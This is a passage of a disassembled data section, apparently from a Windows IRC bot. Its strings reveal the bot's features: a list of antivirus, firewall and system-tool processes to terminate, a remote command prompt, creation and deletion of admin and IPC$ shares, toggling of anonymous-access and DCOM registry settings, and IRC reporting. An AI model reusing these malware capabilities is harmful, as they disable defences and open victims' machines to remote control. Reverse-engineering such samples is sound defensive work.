10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41945F:loc_419543o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41945F+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41945F:loc_41950Ao aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41945F:loc_4194FCo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41945F:loc_4194AEo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo align 4 dword_439698 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419593+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_4396C4 db 2Dh ; - ; DATA XREF: sub_419593+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_4396F0 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_4397F8 dd offset dword_4397EC dd offset dword_4397E0 dd offset dword_4397D4 dd offset dword_4397C8 dd offset dword_4397BC dd offset dword_4397AC dd offset dword_4397A0 dd offset dword_439794 dd offset dword_439788 dd offset dword_43977C dd offset dword_43976C dd offset dword_439760 dd offset dword_439750 dword_439750 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo ; ___:0043974Co dword_439760 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439748o dword_43976C dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439744o dword_43977C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439740o dword_439788 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043973Co dword_439794 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439738o dword_4397A0 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439734o dword_4397AC dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439730o dword_4397BC dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:0043972Co dword_4397C8 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439728o dword_4397D4 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:00439724o dword_4397E0 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:00439720o dword_4397EC dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:0043971Co dword_4397F8 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:00439718o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439714o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439710o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:0043970Co align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:00439708o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:00439704o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:00439700o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:004396FCo aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:004396F8o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396F4o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396F0o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o align 4 unk_4398A8 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_4398CC db 2Dh ; - ; DATA XREF: sub_4198EB+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h unk_4398F0 db 2Dh ; - ; DATA XREF: sub_4198EB+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o unk_439920 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439950 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_439978 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_4399A8 db 2Dh ; - ; DATA XREF: sub_419C64+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_4399DC db 2Dh ; - ; DATA XREF: sub_419C64+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_439A00 dd offset dword_439A38 ; DATA XREF: sub_419E79+1B3o ; sub_41A19D+17Ao align 8 dd offset dword_439A30 align 10h off_439A10 dd offset dword_439A2C ; DATA XREF: sub_41A19D+1E3o dd offset off_439A28 dd offset dword_439A24 dd offset off_439A20 off_439A20 dd offset dword_5C3A44 ; DATA XREF: sub_419E79+217o ; ___:00439A1Co dword_439A24 dd 2444h ; DATA XREF: ___:00439A18o off_439A28 dd offset byte_5C3A43 ; DATA XREF: ___:00439A14o dword_439A2C dd 2443h ; DATA XREF: ___:off_439A10o dword_439A30 dd 494D4441h, 244Eh ; DATA XREF: ___:00439A08o dword_439A38 dd 24435049h, 0 ; DATA XREF: ___:off_439A00o dword_439A40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o ; sub_41A19D+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439A70 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_439A98 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439AC4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_439AE8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439B14 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_439B38 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo ; sub_41A19D:loc_41A2CBo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439B68 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439BA4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_439BD8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo ; sub_41A19D+EDo align 4 dword_439C28 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o ; sub_41A19D+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439C58 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E79:loc_419EE6o dd 62617369h, 2E64656Ch, 0 dword_439C78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o ; sub_41A19D+54o align 4 dword_439CA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o dword_439CD8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co ; sub_41A19D:loc_41A40Do aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_439D00 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o ; sub_41A19D+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_439D20 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_439D5C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_439D94 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_439DD4 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19D:loc_41A20Ao dd 6C62616Eh, 2E6465h dword_439DF0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_439E48 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AE+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o dword_43A060 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA42+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A13C dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o align 10h aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo align 10h dword_43A170 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF6+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A1B4 dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o off_43A1B8 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o dword_43A1BC dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo dword_43A1C4 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o unk_43A1D4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A204 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 10h dword_43A230 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB5+1A0o dd 4C525520h, 2Eh unk_43A24C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43A288 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB5+18Co dd 64657469h, 2Eh dword_43A2A4 dd 2A2F2Ah, 2 dup(0) ; DATA XREF: sub_41ADB5+3Bo dword_43A2B0 dd 5EF20C7Fh ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A2C0 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A2CC dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A2D8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A2DC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A2F0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A2F4 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A300 dd offset off_43A300 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A304 dd offset off_43A300 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A318 dd offset dword_43A318 dword_43A310 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A318 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A308o ; ___:0043A30Co off_43C320 dd offset off_43A300 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C324 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C328 dd offset word_43C332 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C32C dd offset word_43C332 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C332 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C328o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43C534 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43C538 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43C540 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43C544 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43C548 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43C550 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43C554 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43C560 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43C640 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43C644 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43C7A8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43C7B0 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43C7B8 dd 14h ; DATA XREF: sub_421624+2o off_43C7BC dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427878h, 1Ah, 42C29Ch, 1Bh, 427870h, 1Fh, 427868h dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h dd 23h, 4277D4h, 24h, 4277D0h dbl_43C890 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43C8A0 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43C8B8 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43C8C4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43C8D0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43C8D4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43C8D8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43C8DC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43C8E0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43C8E4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43C8F4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43C8F8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43C8FC dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43C970 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43C974 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43C978 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43C97C dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43C980 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43C988 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43C98C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43384Ch dd 0FFh, 427960h off_43CA18 dd offset dword_4DB5E0 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DB5E0 dd 101h dword_43CA28 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43CA38 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43CA58 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43CA88 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43CC98 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43CCA0 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43CCA8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43CCC0 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o dword_43CCD8 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43CCDC dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43CCE0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43CCE4 dd offset dword_545350 ; DATA XREF: ___:off_43CD64o dd 0Fh dup(0) off_43CD24 dd offset dword_544450 ; DATA XREF: ___:off_43CD68o dd 0Fh dup(0) off_43CD64 dd offset off_43CCE4 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43CD68 dd offset off_43CD24 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43CD70 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43CD74 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43CD78 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43CD80 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43CD84 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43CD88 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43CD8C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43CDBC dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43CDC0 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43CDF8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 